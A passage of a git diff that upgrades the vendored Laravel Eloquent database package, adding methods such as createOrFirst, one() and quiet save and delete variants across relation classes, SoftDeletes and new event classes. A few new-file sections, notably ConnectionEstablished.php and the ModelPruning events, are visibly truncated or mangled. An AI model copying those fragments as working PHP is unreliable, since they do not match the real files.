array_keys($records)); - $changes['detached'] = $this->castKeys($detach); + if (count($detach) > 0) { + $this->detach($detach); + + $changes['detached'] = $this->castKeys($detach); + } } // Now we are finally ready to attach the new records. Note that we'll disable @@ -152,6 +155,10 @@ protected function formatRecordsList(array $records) [$id, $attributes] = [$attributes, []]; } + if ($id instanceof BackedEnum) { + $id = $id->value; + } + return [$id => $attributes]; })->all(); } @@ -207,7 +214,7 @@ public function updateExistingPivot($id, array $attributes, $touch = true) return $this->updateExistingPivotUsingCustomClass($id, $attributes, $touch); } - if (in_array($this->updatedAt(), $this->pivotColumns)) { + if ($this->hasPivotColumn($this->updatedAt())) { $attributes = $this->addTimestampsToAttachment($attributes, true); } @@ -394,7 +401,7 @@ protected function addTimestampsToAttachment(array $record, $exists = false) if ($this->using) { $pivotModel = new $this->using; - $fresh = $fresh->format($pivotModel->getDateFormat()); + $fresh = $pivotModel->fromDateTime($fresh); } if (! $exists && $this->hasPivotColumn($this->createdAt())) { @@ -508,6 +515,8 @@ protected function getCurrentlyAttachedPivots() */ public function newPivot(array $attributes = [], $exists = false) { + $attributes = array_merge(array_column($this->pivotValues, 'value', 'column'), $attributes); + $pivot = $this->related->newPivot( $this->parent, $attributes, $this->table, $exists, $this->using ); @@ -669,18 +678,11 @@ protected function castAttributes($attributes) */ protected function getTypeSwapValue($type, $value) { - switch (strtolower($type)) { - case 'int': - case 'integer': - return (int) $value; - case 'real': - case 'float': - case 'double': - return (float) $value; - case 'string': - return (string) $value; - default: - return $value; - } + return match (strtolower($type)) { + 'int', 'integer' => (int) $value, + 'real', 'float', 'double' => (float) $value, + 'string' => (string) $value, + default => $value, + }; } } diff --git a/vendor/illuminate/database/Eloquent/Relations/HasMany.php b/vendor/illuminate/database/Eloquent/Relations/HasMany.php index b005d4ff1..27bcd73e3 100644 --- a/vendor/illuminate/database/Eloquent/Relations/HasMany.php +++ b/vendor/illuminate/database/Eloquent/Relations/HasMany.php @@ -6,6 +6,21 @@ class HasMany extends HasOneOrMany { + /** + * Convert the relationship to a "has one" relationship. + * + * @return \Illuminate\Database\Eloquent\Relations\HasOne + */ + public function one() + { + return HasOne::noConstraints(fn () => new HasOne( + $this->getQuery(), + $this->parent, + $this->foreignKey, + $this->localKey + )); + } + /** * Get the results of the relationship. * diff --git a/vendor/illuminate/database/Eloquent/Relations/HasManyThrough.php b/vendor/illuminate/database/Eloquent/Relations/HasManyThrough.php index 207481679..20c34749e 100644 --- a/vendor/illuminate/database/Eloquent/Relations/HasManyThrough.php +++ b/vendor/illuminate/database/Eloquent/Relations/HasManyThrough.php @@ -2,6 +2,7 @@ namespace Illuminate\Database\Eloquent\Relations; +use Closure; use Illuminate\Contracts\Support\Arrayable; use Illuminate\Database\Eloquent\Builder; use Illuminate\Database\Eloquent\Collection; @@ -9,6 +10,7 @@ use Illuminate\Database\Eloquent\ModelNotFoundException; use Illuminate\Database\Eloquent\Relations\Concerns\InteractsWithDictionary; use Illuminate\Database\Eloquent\SoftDeletes; +use Illuminate\Database\UniqueConstraintViolationException; class HasManyThrough extends Relation { @@ -80,6 +82,24 @@ public function __construct(Builder $query, Model $farParent, Model $throughPare parent::__construct($query, $throughParent); } + /** + * Convert the relationship to a "has one through" relationship. + * + * @return \Illuminate\Database\Eloquent\Relations\HasOneThrough + */ + public function one() + { + return HasOneThrough::noConstraints(fn () => new HasOneThrough( + $this->getQuery(), + $this->farParent, + $this->throughParent, + $this->getFirstKeyName(), + $this->secondKey, + $this->getLocalKeyName(), + $this->getSecondLocalKeyName(), + )); + } + /** * Set the base constraints on the relation query. * @@ -159,8 +179,10 @@ public function addEagerConstraints(array $models) { $whereIn = $this->whereInMethod($this->farParent, $this->localKey); - $this->query->{$whereIn}( - $this->getQualifiedFirstKeyName(), $this->getKeys($models, $this->localKey) + $this->whereInEager( + $whereIn, + $this->getQualifiedFirstKeyName(), + $this->getKeys($models, $this->localKey) ); } @@ -230,31 +252,64 @@ protected function buildDictionary(Collection $results) * Get the first related model record matching the attributes or instantiate it. * * @param array $attributes + * @param array $values * @return \Illuminate\Database\Eloquent\Model */ - public function firstOrNew(array $attributes) + public function firstOrNew(array $attributes = [], array $values = []) { - if (is_null($instance = $this->where($attributes)->first())) { - $instance = $this->related->newInstance($attributes); + if (! is_null($instance = $this->where($attributes)->first())) { + return $instance; } - return $instance; + return $this->related->newInstance(array_merge($attributes, $values)); } /** - * Create or update a related record matching the attributes, and fill it with values. + * Get the first record matching the attributes. If the record is not found, create it. * * @param array $attributes * @param array $values * @return \Illuminate\Database\Eloquent\Model */ - public function updateOrCreate(array $attributes, array $values = []) + public function firstOrCreate(array $attributes = [], array $values = []) { - $instance = $this->firstOrNew($attributes); + if (! is_null($instance = (clone $this)->where($attributes)->first())) { + return $instance; + } - $instance->fill($values)->save(); + return $this->createOrFirst(array_merge($attributes, $values)); + } - return $instance; + /** + * Attempt to create the record. If a unique constraint violation occurs, attempt to find the matching record. + * + * @param array $attributes + * @param array $values + * @return \Illuminate\Database\Eloquent\Model + */ + public function createOrFirst(array $attributes = [], array $values = []) + { + try { + return $this->getQuery()->withSavepointIfNeeded(fn () => $this->create(array_merge($attributes, $values))); + } catch (UniqueConstraintViolationException $exception) { + return $this->where($attributes)->first() ?? throw $exception; + } + } + + /** + * Create or update a related record matching the attributes, and fill it with values. + * + * @param array $attributes + * @param array $values + * @return \Illuminate\Database\Eloquent\Model + */ + public function updateOrCreate(array $attributes, array $values = []) + { + return tap($this->firstOrCreate($attributes, $values), function ($instance) use ($values) { + if (! $instance->wasRecentlyCreated) { + $instance->fill($values)->save(); + } + }); } /** @@ -290,7 +345,7 @@ public function first($columns = ['*']) * @param array $columns * @return \Illuminate\Database\Eloquent\Model|static * - * @throws \Illuminate\Database\Eloquent\ModelNotFoundException + * @throws \Illuminate\Database\Eloquent\ModelNotFoundException<\Illuminate\Database\Eloquent\Model> */ public function firstOrFail($columns = ['*']) { @@ -301,6 +356,28 @@ public function firstOrFail($columns = ['*']) throw (new ModelNotFoundException)->setModel(get_class($this->related)); } + /** + * Execute the query and get the first result or call a callback. + * + * @param \Closure|array $columns + * @param \Closure|null $callback + * @return \Illuminate\Database\Eloquent\Model|static|mixed + */ + public function firstOr($columns = ['*'], Closure $callback = null) + { + if ($columns instanceof Closure) { + $callback = $columns; + + $columns = ['*']; + } + + if (! is_null($model = $this->first($columns))) { + return $model; + } + + return $callback(); + } + /** * Find a related model by its primary key. * @@ -346,7 +423,7 @@ public function findMany($ids, $columns = ['*']) * @param array $columns * @return \Illuminate\Database\Eloquent\Model|\Illuminate\Database\Eloquent\Collection * - * @throws \Illuminate\Database\Eloquent\ModelNotFoundException + * @throws \Illuminate\Database\Eloquent\ModelNotFoundException<\Illuminate\Database\Eloquent\Model> */ public function findOrFail($id, $columns = ['*']) { @@ -365,6 +442,37 @@ public function findOrFail($id, $columns = ['*']) throw (new ModelNotFoundException)->setModel(get_class($this->related), $id); } + /** + * Find a related model by its primary key or call a callback. + * + * @param mixed $id + * @param \Closure|array $columns + * @param \Closure|null $callback + * @return \Illuminate\Database\Eloquent\Model|\Illuminate\Database\Eloquent\Collection|mixed + */ + public function findOr($id, $columns = ['*'], Closure $callback = null) + { + if ($columns instanceof Closure) { + $callback = $columns; + + $columns = ['*']; + } + + $result = $this->find($id, $columns); + + $id = $id instanceof Arrayable ? $id->toArray() : $id; + + if (is_array($id)) { + if (count($result) === count(array_unique($id))) { + return $result; + } + } elseif (! is_null($result)) { + return $result; + } + + return $callback(); + } + /** * Get the results of the relationship. * @@ -484,18 +592,54 @@ public function chunk($count, callable $callback) * @return bool */ public function chunkById($count, callable $callback, $column = null, $alias = null) + { + $column ??= $this->getRelated()->getQualifiedKeyName(); + + $alias ??= $this->getRelated()->getKeyName(); + + return $this->prepareQueryBuilder()->chunkById($count, $callback, $column, $alias); + } + + /** + * Chunk the results of a query by comparing IDs in descending order. + * + * @param int $count + * @param callable $callback + * @param string|null $column + * @param string|null $alias + * @return bool + */ + public function chunkByIdDesc($count, callable $callback, $column = null, $alias = null) + { + $column ??= $this->getRelated()->getQualifiedKeyName(); + + $alias ??= $this->getRelated()->getKeyName(); + + return $this->prepareQueryBuilder()->chunkByIdDesc($count, $callback, $column, $alias); + } + + /** + * Execute a callback over each item while chunking by ID. + * + * @param callable $callback + * @param int $count + * @param string|null $column + * @param string|null $alias + * @return bool + */ + public function eachById(callable $callback, $count = 1000, $column = null, $alias = null) { $column = $column ?? $this->getRelated()->getQualifiedKeyName(); $alias = $alias ?? $this->getRelated()->getKeyName(); - return $this->prepareQueryBuilder()->chunkById($count, $callback, $column, $alias); + return $this->prepareQueryBuilder()->eachById($callback, $count, $column, $alias); } /** * Get a generator for the given query. * - * @return \Generator + * @return \Illuminate\Support\LazyCollection */ public function cursor() { @@ -541,13 +685,30 @@ public function lazy($chunkSize = 1000) */ public function lazyById($chunkSize = 1000, $column = null, $alias = null) { - $column = $column ?? $this->getRelated()->getQualifiedKeyName(); + $column ??= $this->getRelated()->getQualifiedKeyName(); - $alias = $alias ?? $this->getRelated()->getKeyName(); + $alias ??= $this->getRelated()->getKeyName(); return $this->prepareQueryBuilder()->lazyById($chunkSize, $column, $alias); } + /** + * Query lazily, by chunking the results of a query by comparing IDs in descending order. + * + * @param int $chunkSize + * @param string|null $column + * @param string|null $alias + * @return \Illuminate\Support\LazyCollection + */ + public function lazyByIdDesc($chunkSize = 1000, $column = null, $alias = null) + { + $column ??= $this->getRelated()->getQualifiedKeyName(); + + $alias ??= $this->getRelated()->getKeyName(); + + return $this->prepareQueryBuilder()->lazyByIdDesc($chunkSize, $column, $alias); + } + /** * Prepare the query builder for query execution. * diff --git a/vendor/illuminate/database/Eloquent/Relations/HasOne.php b/vendor/illuminate/database/Eloquent/Relations/HasOne.php index 15c735c32..ed85f1e91 100644 --- a/vendor/illuminate/database/Eloquent/Relations/HasOne.php +++ b/vendor/illuminate/database/Eloquent/Relations/HasOne.php @@ -103,7 +103,7 @@ public function getOneOfManySubQuerySelectColumns() /** * Add join query constraints for one of many relationships. * - * @param \Illuminate\Database\Eloquent\JoinClause $join + * @param \Illuminate\Database\Query\JoinClause $join * @return void */ public function addOneOfManyJoinSubQueryConstraints(JoinClause $join) diff --git a/vendor/illuminate/database/Eloquent/Relations/HasOneOrMany.php b/vendor/illuminate/database/Eloquent/Relations/HasOneOrMany.php index ff738b9ad..af263baf8 100644 --- a/vendor/illuminate/database/Eloquent/Relations/HasOneOrMany.php +++ b/vendor/illuminate/database/Eloquent/Relations/HasOneOrMany.php @@ -6,6 +6,7 @@ use Illuminate\Database\Eloquent\Collection; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\Relations\Concerns\InteractsWithDictionary; +use Illuminate\Database\UniqueConstraintViolationException; abstract class HasOneOrMany extends Relation { @@ -98,8 +99,11 @@ public function addEagerConstraints(array $models) { $whereIn = $this->whereInMethod($this->parent, $this->localKey); - $this->getRelationQuery()->{$whereIn}( - $this->foreignKey, $this->getKeys($models, $this->localKey) + $this->whereInEager( + $whereIn, + $this->foreignKey, + $this->getKeys($models, $this->localKey), + $this->getRelationQuery() ); } @@ -223,7 +227,7 @@ public function firstOrNew(array $attributes = [], array $values = []) } /** - * Get the first related record matching the attributes or create it. + * Get the first record matching the attributes. If the record is not found, create it. * * @param array $attributes * @param array $values @@ -231,13 +235,29 @@ public function firstOrNew(array $attributes = [], array $values = []) */ public function firstOrCreate(array $attributes = [], array $values = []) { - if (is_null($instance = $this->where($attributes)->first())) { - $instance = $this->create(array_merge($attributes, $values)); + if (is_null($instance = (clone $this)->where($attributes)->first())) { + $instance = $this->createOrFirst($attributes, $values); } return $instance; } + /** + * Attempt to create the record. If a unique constraint violation occurs, attempt to find the matching record. + * + * @param array $attributes + * @param array $values + * @return \Illuminate\Database\Eloquent\Model + */ + public function createOrFirst(array $attributes = [], array $values = []) + { + try { + return $this->getQuery()->withSavepointIfNeeded(fn () => $this->create(array_merge($attributes, $values))); + } catch (UniqueConstraintViolationException $e) { + return $this->useWritePdo()->where($attributes)->first() ?? throw $e; + } + } + /** * Create or update a related record matching the attributes, and fill it with values. * @@ -247,10 +267,10 @@ public function firstOrCreate(array $attributes = [], array $values = []) */ public function updateOrCreate(array $attributes, array $values = []) { - return tap($this->firstOrNew($attributes), function ($instance) use ($values) { - $instance->fill($values); - - $instance->save(); + return tap($this->firstOrCreate($attributes, $values), function ($instance) use ($values) { + if (! $instance->wasRecentlyCreated) { + $instance->fill($values)->save(); + } }); } @@ -267,6 +287,19 @@ public function save(Model $model) return $model->save() ? $model : false; } + /** + * Attach a model instance without raising any events to the parent model. + * + * @param \Illuminate\Database\Eloquent\Model $model + * @return \Illuminate\Database\Eloquent\Model|false + */ + public function saveQuietly(Model $model) + { + return Model::withoutEvents(function () use ($model) { + return $this->save($model); + }); + } + /** * Attach a collection of models to the parent instance. * @@ -282,6 +315,19 @@ public function saveMany($models) return $models; } + /** + * Attach a collection of models to the parent instance without raising any events to the parent model. + * + * @param iterable $models + * @return iterable + */ + public function saveManyQuietly($models) + { + return Model::withoutEvents(function () use ($models) { + return $this->saveMany($models); + }); + } + /** * Create a new instance of the related model. * @@ -297,6 +343,17 @@ public function create(array $attributes = []) }); } + /** + * Create a new instance of the related model without raising any events to the parent model. + * + * @param array $attributes + * @return \Illuminate\Database\Eloquent\Model + */ + public function createQuietly(array $attributes = []) + { + return Model::withoutEvents(fn () => $this->create($attributes)); + } + /** * Create a new instance of the related model. Allow mass-assignment. * @@ -310,6 +367,17 @@ public function forceCreate(array $attributes = []) return $this->related->forceCreate($attributes); } + /** + * Create a new instance of the related model with mass assignment without raising model events. + * + * @param array $attributes + * @return \Illuminate\Database\Eloquent\Model + */ + public function forceCreateQuietly(array $attributes = []) + { + return Model::withoutEvents(fn () => $this->forceCreate($attributes)); + } + /** * Create a Collection of new instances of the related model. * @@ -327,6 +395,17 @@ public function createMany(iterable $records) return $instances; } + /** + * Create a Collection of new instances of the related model without raising any events to the parent model. + * + * @param iterable $records + * @return \Illuminate\Database\Eloquent\Collection + */ + public function createManyQuietly(iterable $records) + { + return Model::withoutEvents(fn () => $this->createMany($records)); + } + /** * Set the foreign ID for creating a related model. * diff --git a/vendor/illuminate/database/Eloquent/Relations/MorphMany.php b/vendor/illuminate/database/Eloquent/Relations/MorphMany.php index 282ba2e86..3636f25d0 100644 --- a/vendor/illuminate/database/Eloquent/Relations/MorphMany.php +++ b/vendor/illuminate/database/Eloquent/Relations/MorphMany.php @@ -3,9 +3,26 @@ namespace Illuminate\Database\Eloquent\Relations; use Illuminate\Database\Eloquent\Collection; +use Illuminate\Database\Eloquent\Model; class MorphMany extends MorphOneOrMany { + /** + * Convert the relationship to a "morph one" relationship. + * + * @return \Illuminate\Database\Eloquent\Relations\MorphOne + */ + public function one() + { + return MorphOne::noConstraints(fn () => new MorphOne( + $this->getQuery(), + $this->getParent(), + $this->morphType, + $this->foreignKey, + $this->localKey + )); + } + /** * Get the results of the relationship. * @@ -59,4 +76,15 @@ public function forceCreate(array $attributes = []) return parent::forceCreate($attributes); } + + /** + * Create a new instance of the related model with mass assignment without raising model events. + * + * @param array $attributes + * @return \Illuminate\Database\Eloquent\Model + */ + public function forceCreateQuietly(array $attributes = []) + { + return Model::withoutEvents(fn () => $this->forceCreate($attributes)); + } } diff --git a/vendor/illuminate/database/Eloquent/Relations/MorphOne.php b/vendor/illuminate/database/Eloquent/Relations/MorphOne.php index ff526842e..fc8f4dc8c 100644 --- a/vendor/illuminate/database/Eloquent/Relations/MorphOne.php +++ b/vendor/illuminate/database/Eloquent/Relations/MorphOne.php @@ -101,7 +101,7 @@ public function getOneOfManySubQuerySelectColumns() /** * Add join query constraints for one of many relationships. * - * @param \Illuminate\Database\Eloquent\JoinClause $join + * @param \Illuminate\Database\Query\JoinClause $join * @return void */ public function addOneOfManyJoinSubQueryConstraints(JoinClause $join) diff --git a/vendor/illuminate/database/Eloquent/Relations/MorphOneOrMany.php b/vendor/illuminate/database/Eloquent/Relations/MorphOneOrMany.php index 6e2297fcc..3cfec8955 100644 --- a/vendor/illuminate/database/Eloquent/Relations/MorphOneOrMany.php +++ b/vendor/illuminate/database/Eloquent/Relations/MorphOneOrMany.php @@ -67,6 +67,20 @@ public function addEagerConstraints(array $models) $this->getRelationQuery()->where($this->morphType, $this->morphClass); } + /** + * Create a new instance of the related model. Allow mass-assignment. + * + * @param array $attributes + * @return \Illuminate\Database\Eloquent\Model + */ + public function forceCreate(array $attributes = []) + { + $attributes[$this->getForeignKeyName()] = $this->getParentKey(); + $attributes[$this->getMorphType()] = $this->morphClass; + + return $this->related->forceCreate($attributes); + } + /** * Set the foreign ID and type for creating a related model. * diff --git a/vendor/illuminate/database/Eloquent/Relations/MorphPivot.php b/vendor/illuminate/database/Eloquent/Relations/MorphPivot.php index 7fbe484aa..39c7852f2 100644 --- a/vendor/illuminate/database/Eloquent/Relations/MorphPivot.php +++ b/vendor/illuminate/database/Eloquent/Relations/MorphPivot.php @@ -2,8 +2,6 @@ namespace Illuminate\Database\Eloquent\Relations; -use Illuminate\Support\Str; - class MorphPivot extends Pivot { /** @@ -70,6 +68,8 @@ public function delete() $query->where($this->morphType, $this->morphClass); return tap($query->delete(), function () { + $this->exists = false; + $this->fireModelEvent('deleted', false); }); } @@ -141,7 +141,7 @@ public function newQueryForRestoration($ids) return $this->newQueryForCollectionRestoration($ids); } - if (! Str::contains($ids, ':')) { + if (! str_contains($ids, ':')) { return parent::newQueryForRestoration($ids); } @@ -163,7 +163,7 @@ protected function newQueryForCollectionRestoration(array $ids) { $ids = array_values($ids); - if (! Str::contains($ids[0], ':')) { + if (! str_contains($ids[0], ':')) { return parent::newQueryForRestoration($ids); } diff --git a/vendor/illuminate/database/Eloquent/Relations/MorphTo.php b/vendor/illuminate/database/Eloquent/Relations/MorphTo.php index 262741f30..570287ac0 100644 --- a/vendor/illuminate/database/Eloquent/Relations/MorphTo.php +++ b/vendor/illuminate/database/Eloquent/Relations/MorphTo.php @@ -226,7 +226,7 @@ protected function matchToMorphParents($type, Collection $results) /** * Associate the model instance to the given parent. * - * @param \Illuminate\Database\Eloquent\Model $model + * @param \Illuminate\Database\Eloquent\Model|null $model * @return \Illuminate\Database\Eloquent\Model */ public function associate($model) @@ -350,6 +350,57 @@ public function constrain(array $callbacks) return $this; } + /** + * Indicate that soft deleted models should be included in the results. + * + * @return $this + */ + public function withTrashed() + { + $callback = fn ($query) => $query->hasMacro('withTrashed') ? $query->withTrashed() : $query; + + $this->macroBuffer[] = [ + 'method' => 'when', + 'parameters' => [true, $callback], + ]; + + return $this->when(true, $callback); + } + + /** + * Indicate that soft deleted models should not be included in the results. + * + * @return $this + */ + public function withoutTrashed() + { + $callback = fn ($query) => $query->hasMacro('withoutTrashed') ? $query->withoutTrashed() : $query; + + $this->macroBuffer[] = [ + 'method' => 'when', + 'parameters' => [true, $callback], + ]; + + return $this->when(true, $callback); + } + + /** + * Indicate that only soft deleted models should be included in the results. + * + * @return $this + */ + public function onlyTrashed() + { + $callback = fn ($query) => $query->hasMacro('onlyTrashed') ? $query->onlyTrashed() : $query; + + $this->macroBuffer[] = [ + 'method' => 'when', + 'parameters' => [true, $callback], + ]; + + return $this->when(true, $callback); + } + /** * Replay stored macro calls on the actual related instance. * @@ -387,7 +438,7 @@ public function __call($method, $parameters) // If we tried to call a method that does not exist on the parent Builder instance, // we'll assume that we want to call a query macro (e.g. withTrashed) that only // exists on related models. We will just store the call and replay it later. - catch (BadMethodCallException $e) { + catch (BadMethodCallException) { $this->macroBuffer[] = compact('method', 'parameters'); return $this; diff --git a/vendor/illuminate/database/Eloquent/Relations/MorphToMany.php b/vendor/illuminate/database/Eloquent/Relations/MorphToMany.php index c2d574558..8cf113bd0 100644 --- a/vendor/illuminate/database/Eloquent/Relations/MorphToMany.php +++ b/vendor/illuminate/database/Eloquent/Relations/MorphToMany.php @@ -151,6 +151,8 @@ public function newPivot(array $attributes = [], $exists = false) { $using = $this->using; + $attributes = array_merge([$this->morphType => $this->morphClass], $attributes); + $pivot = $using ? $using::fromRawAttributes($this->parent, $attributes, $this->table, $exists) : MorphPivot::fromAttributes($this->parent, $attributes, $this->table, $exists); @@ -187,6 +189,16 @@ public function getMorphType() return $this->morphType; } + /** + * Get the fully qualified morph type for the relation. + * + * @return string + */ + public function getQualifiedMorphTypeName() + { + return $this->qualifyPivotColumn($this->morphType); + } + /** * Get the class name of the parent model. * diff --git a/vendor/illuminate/database/Eloquent/Relations/Pivot.php b/vendor/illuminate/database/Eloquent/Relations/Pivot.php index a65ecdea6..6e1d3f278 100644 --- a/vendor/illuminate/database/Eloquent/Relations/Pivot.php +++ b/vendor/illuminate/database/Eloquent/Relations/Pivot.php @@ -19,7 +19,7 @@ class Pivot extends Model /** * The attributes that aren't mass assignable. * - * @var array + * @var array|bool */ protected $guarded = []; } diff --git a/vendor/illuminate/database/Eloquent/Relations/Relation.php b/vendor/illuminate/database/Eloquent/Relations/Relation.php index aa8ce5a07..7fea6b70d 100644 --- a/vendor/illuminate/database/Eloquent/Relations/Relation.php +++ b/vendor/illuminate/database/Eloquent/Relations/Relation.php @@ -3,23 +3,20 @@ namespace Illuminate\Database\Eloquent\Relations; use Closure; +use Illuminate\Contracts\Database\Eloquent\Builder as BuilderContract; use Illuminate\Database\Eloquent\Builder; use Illuminate\Database\Eloquent\Collection; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\ModelNotFoundException; use Illuminate\Database\MultipleRecordsFoundException; use Illuminate\Database\Query\Expression; -use Illuminate\Support\Arr; use Illuminate\Support\Traits\ForwardsCalls; use Illuminate\Support\Traits\Macroable; -/** - * @mixin \Illuminate\Database\Eloquent\Builder - */ -abstract class Relation +abstract class Relation implements BuilderContract { use ForwardsCalls, Macroable { - __call as macroCall; + Macroable::__call as macroCall; } /** @@ -43,6 +40,13 @@ abstract class Relation */ protected $related; + /** + * Indicates whether the eagerly loaded relation should implicitly return an empty collection. + * + * @var bool + */ + protected $eagerKeysWereEmpty = false; + /** * Indicates if the relation is adding constraints. * @@ -157,7 +161,9 @@ abstract public function getResults(); */ public function getEager() { - return $this->get(); + return $this->eagerKeysWereEmpty + ? $this->query->getModel()->newCollection() + : $this->get(); } /** @@ -166,19 +172,21 @@ public function getEager() * @param array|string $columns * @return \Illuminate\Database\Eloquent\Model * - * @throws \Illuminate\Database\Eloquent\ModelNotFoundException + * @throws \Illuminate\Database\Eloquent\ModelNotFoundException<\Illuminate\Database\Eloquent\Model> * @throws \Illuminate\Database\MultipleRecordsFoundException */ public function sole($columns = ['*']) { $result = $this->take(2)->get($columns); - if ($result->isEmpty()) { + $count = $result->count(); + + if ($count === 0) { throw (new ModelNotFoundException)->setModel(get_class($this->related)); } - if ($result->count() > 1) { - throw new MultipleRecordsFoundException; + if ($count > 1) { + throw new MultipleRecordsFoundException($count); } return $result->first(); @@ -308,6 +316,16 @@ public function getBaseQuery() return $this->query->getQuery(); } + /** + * Get a base query builder instance. + * + * @return \Illuminate\Database\Query\Builder + */ + public function toBase() + { + return $this->query->toBase(); + } + /** * Get the parent model of the relation. * @@ -368,6 +386,24 @@ public function relatedUpdatedAt() return $this->related->getUpdatedAtColumn(); } + /** + * Add a whereIn eager constraint for the given set of model keys to be loaded. + * + * @param string $whereIn + * @param string $key + * @param array $modelKeys + * @param \Illuminate\Database\Eloquent\Builder $query + * @return void + */ + protected function whereInEager(string $whereIn, string $key, array $modelKeys, $query = null) + { + ($query ?? $this->query)->{$whereIn}($key, $modelKeys); + + if ($modelKeys === []) { + $this->eagerKeysWereEmpty = true; + } + } + /** * Get the name of the "where in" method for eager loading. * @@ -445,7 +481,7 @@ public static function morphMap(array $map = null, $merge = true) */ protected static function buildMorphMapFromModels(array $models = null) { - if (is_null($models) || Arr::isAssoc($models)) { + if (is_null($models) || ! array_is_list($models)) { return $models; } diff --git a/vendor/illuminate/database/Eloquent/SoftDeletes.php b/vendor/illuminate/database/Eloquent/SoftDeletes.php index aa6c81784..da7a4a371 100644 --- a/vendor/illuminate/database/Eloquent/SoftDeletes.php +++ b/vendor/illuminate/database/Eloquent/SoftDeletes.php @@ -3,9 +3,9 @@ namespace Illuminate\Database\Eloquent; /** - * @method static static|\Illuminate\Database\Eloquent\Builder|\Illuminate\Database\Query\Builder withTrashed(bool $withTrashed = true) - * @method static static|\Illuminate\Database\Eloquent\Builder|\Illuminate\Database\Query\Builder onlyTrashed() - * @method static static|\Illuminate\Database\Eloquent\Builder|\Illuminate\Database\Query\Builder withoutTrashed() + * @method static \Illuminate\Database\Eloquent\Builder|\Illuminate\Database\Query\Builder withTrashed(bool $withTrashed = true) + * @method static \Illuminate\Database\Eloquent\Builder|\Illuminate\Database\Query\Builder onlyTrashed() + * @method static \Illuminate\Database\Eloquent\Builder|\Illuminate\Database\Query\Builder withoutTrashed() */ trait SoftDeletes { @@ -45,6 +45,10 @@ public function initializeSoftDeletes() */ public function forceDelete() { + if ($this->fireModelEvent('forceDeleting') === false) { + return false; + } + $this->forceDeleting = true; return tap($this->delete(), function ($deleted) { @@ -56,6 +60,16 @@ public function forceDelete() }); } + /** + * Force a hard delete on a soft deleted model without raising any events. + * + * @return bool|null + */ + public function forceDeleteQuietly() + { + return static::withoutEvents(fn () => $this->forceDelete()); + } + /** * Perform the actual delete query on this model instance. * @@ -87,7 +101,7 @@ protected function runSoftDelete() $this->{$this->getDeletedAtColumn()} = $time; - if ($this->timestamps && ! is_null($this->getUpdatedAtColumn())) { + if ($this->usesTimestamps() && ! is_null($this->getUpdatedAtColumn())) { $this->{$this->getUpdatedAtColumn()} = $time; $columns[$this->getUpdatedAtColumn()] = $this->fromDateTime($time); @@ -103,7 +117,7 @@ protected function runSoftDelete() /** * Restore a soft-deleted model instance. * - * @return bool|null + * @return bool */ public function restore() { @@ -128,6 +142,16 @@ public function restore() return $result; } + /** + * Restore a soft-deleted model instance without raising any events. + * + * @return bool + */ + public function restoreQuietly() + { + return static::withoutEvents(fn () => $this->restore()); + } + /** * Determine if the model instance has been soft-deleted. * @@ -171,6 +195,17 @@ public static function restored($callback) static::registerModelEvent('restored', $callback); } + /** + * Register a "forceDeleting" model event callback with the dispatcher. + * + * @param \Closure|string $callback + * @return void + */ + public static function forceDeleting($callback) + { + static::registerModelEvent('forceDeleting', $callback); + } + /** * Register a "forceDeleted" model event callback with the dispatcher. * @@ -199,7 +234,7 @@ public function isForceDeleting() */ public function getDeletedAtColumn() { - return defined('static::DELETED_AT') ? static::DELETED_AT : 'deleted_at'; + return defined(static::class.'::DELETED_AT') ? static::DELETED_AT : 'deleted_at'; } /** diff --git a/vendor/illuminate/database/Eloquent/SoftDeletingScope.php b/vendor/illuminate/database/Eloquent/SoftDeletingScope.php index 7528964c1..f0b0bd417 100644 --- a/vendor/illuminate/database/Eloquent/SoftDeletingScope.php +++ b/vendor/illuminate/database/Eloquent/SoftDeletingScope.php @@ -9,7 +9,7 @@ class SoftDeletingScope implements Scope * * @var string[] */ - protected $extensions = ['Restore', 'WithTrashed', 'WithoutTrashed', 'OnlyTrashed']; + protected $extensions = ['Restore', 'RestoreOrCreate', 'CreateOrRestore', 'WithTrashed', 'WithoutTrashed', 'OnlyTrashed']; /** * Apply the scope to a given Eloquent query builder. @@ -74,6 +74,40 @@ protected function addRestore(Builder $builder) }); } + /** + * Add the restore-or-create extension to the builder. + * + * @param \Illuminate\Database\Eloquent\Builder $builder + * @return void + */ + protected function addRestoreOrCreate(Builder $builder) + { + $builder->macro('restoreOrCreate', function (Builder $builder, array $attributes = [], array $values = []) { + $builder->withTrashed(); + + return tap($builder->firstOrCreate($attributes, $values), function ($instance) { + $instance->restore(); + }); + }); + } + + /** + * Add the create-or-restore extension to the builder. + * + * @param \Illuminate\Database\Eloquent\Builder $builder + * @return void + */ + protected function addCreateOrRestore(Builder $builder) + { + $builder->macro('createOrRestore', function (Builder $builder, array $attributes = [], array $values = []) { + $builder->withTrashed(); + + return tap($builder->createOrFirst($attributes, $values), function ($instance) { + $instance->restore(); + }); + }); + } + /** * Add the with-trashed extension to the builder. * diff --git a/vendor/illuminate/database/Events/ConnectionEstablished.php b/vendor/illuminate/database/Events/ConnectionEstablished.php new file mode 100644 index 000000000..22a45b834 --- /dev/null +++ b/vendor/illuminate/database/Events/ConnectionEstablished.php @@ -0,0 +1,8 @@ +connectionName = $connectionName; + $this->connections = $connections; + } +} diff --git a/vendor/illuminate/database/Events/DatabaseRefreshed.php b/vendor/illuminate/database/Events/DatabaseRefreshed.php index 5b1fb4585..f476c39e4 100644 --- a/vendor/illuminate/database/Events/DatabaseRefreshed.php +++ b/vendor/illuminate/database/Events/DatabaseRefreshed.php @@ -6,5 +6,17 @@ class DatabaseRefreshed implements MigrationEventContract { - // + /** + * Create a new event instance. + * + * @param string|null $database + * @param bool seeding + * @return void + */ + public function __construct( + public ?string $database = null, + public bool $seeding = false + ) { + // + } } diff --git a/vendor/illuminate/database/Events/ModelPruningFinished.php b/vendor/illuminate/database/Events/ModelPruningFinished.php new file mode 100644 index 000000000..d2701c474 --- /dev/null +++ b/vendor/illuminate/database/Events/ModelPruningFinished.php @@ -0,0 +1,24 @@ + + */ + public $models; + + /** + * Create a new event instance. + * + * @param array $models + * @return void + */ + public function __construct($models) + { + $this->models = $models; + } +} diff --git a/vendor/illuminate/database/Events/ModelPruningStarting.php b/vendor/illuminate/database/Events/ModelPruningStarting.php new file mode 100644 index 000000000..e6cc4d842 --- /dev/null +++ b/vendor/illuminate/database/Events/ModelPruningStarting.php @@ -0,0 +1,24 @@ + + */ + public $models; + + /** + * Create a new event instance. + * + * @param array $models + * @return void + */ + public function __construct($models) + { + $this->models = $models; + } +} diff --git 